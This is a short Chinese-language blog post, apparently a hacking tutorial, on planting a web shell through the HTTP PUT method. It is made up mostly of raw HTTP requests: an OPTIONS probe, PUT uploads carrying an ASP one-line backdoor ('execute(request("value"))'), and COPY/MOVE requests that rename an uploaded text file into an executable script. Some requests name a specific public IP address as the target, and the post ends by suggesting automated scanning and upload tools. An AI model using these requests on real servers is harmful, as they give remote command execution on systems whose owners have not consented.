上一篇文章 HTTP - PUT 上传文件/Shell 讲到自己搭了一个环境,去测试HTTP - PUT上传Shell。最近又遇到几个PUT上传的例子,也成功上传了几次,来分享一下思密达。
0x00 判断是否允许HTTP PUT
发送这样的一份报文到服务器,查看服务器返回:
OPTIONS / HTTP/1.1 Host: 192.168.9.151:8086 Connection: Keep-alive Accept: text/plain User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5
如果返回值是200,就可以进行下一步尝试
0x10 HTTP - PUT 上传
根据语言的类型,需要上传不同类型的文件,不过先不急,试试上传一个txt文件。
PUT /test.txt HTTP/1.1 Content-Length: 31 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 218.94.36.38:9010 <% execute(request("value")) %>
如果上传成功了,再好不过。不成功的话,有可能是因为HTTP请求头的问题。根据返回代码,可以参考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx
成功之后,再根据服务器语言上传对应的木马:
PUT /test.asp HTTP/1.1 Content-Length: 31 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 218.94.36.38:9010 <% execute(request("value")) %>
即使格式都对,也有可能上传失败,服务器可能做了一些配置。不急,且往下看
0x20 HTTP - COPY/MOVE
这时候,第一次上传成功的test.txt文件就起作用了。
COPY /test.txt HTTP/1.1 Host: test.com Destination: http://test.com/test.asp Overwrite: T
或者采用MOVE:
MOVE /dir_name/test.aspx HTTP/1.1 Destination: /test.aspx Host: test.com
注意MOVE的时候,要求两个文件不在同一个文件夹内。
大概走到这儿,能传上去的,就传上去了= =传不上去的,可以试试 HTTP METHOD 中其他的方法
0x30 其他
其实可以考虑做一个浏览器插件或者python写个小工具,打开页面的时候自动检测网站是否允许奇奇怪怪的HTTP Method或者自动化的去上传。后续,还会继续分享~~~
祝好运~<( ̄3 ̄)>
时间: 2024-11-05 18:41:45